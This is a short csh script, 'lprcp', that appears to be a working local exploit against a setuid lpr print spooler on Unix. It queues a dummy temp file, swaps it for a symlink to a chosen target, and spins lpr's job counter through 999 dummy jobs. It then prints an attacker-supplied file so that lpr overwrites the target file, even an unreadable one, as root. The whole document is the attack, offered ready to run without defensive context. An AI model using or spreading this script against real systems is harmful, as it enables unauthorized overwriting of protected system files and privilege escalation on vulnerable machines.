#!/bin/csh -f
#
# Usage: lprcp from-file to-file
#
if ($#argv != 2) then
# echo Usage: lprcp from-file to-file
exit 1
endif
# This link stuff allows us to overwrite unreadable files,
# should we want to.
echo x > /tmp/.tmp.$$
lpr -q -s /tmp/.tmp.$$
rm -f /tmp/.tmp.$$ # lpr's accepted it, point it
ln -s $2 /tmp/.tmp.$$ # to where we really want
@ s = 0
while ( $s != 999) # loop 999 times
lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
@ s++
if ( $s % 10 == 0 ) echo -n .
end
lpr $1 # incoming file
# user becomes owner
rm -f /tmp/.tmp.$$
exit 0
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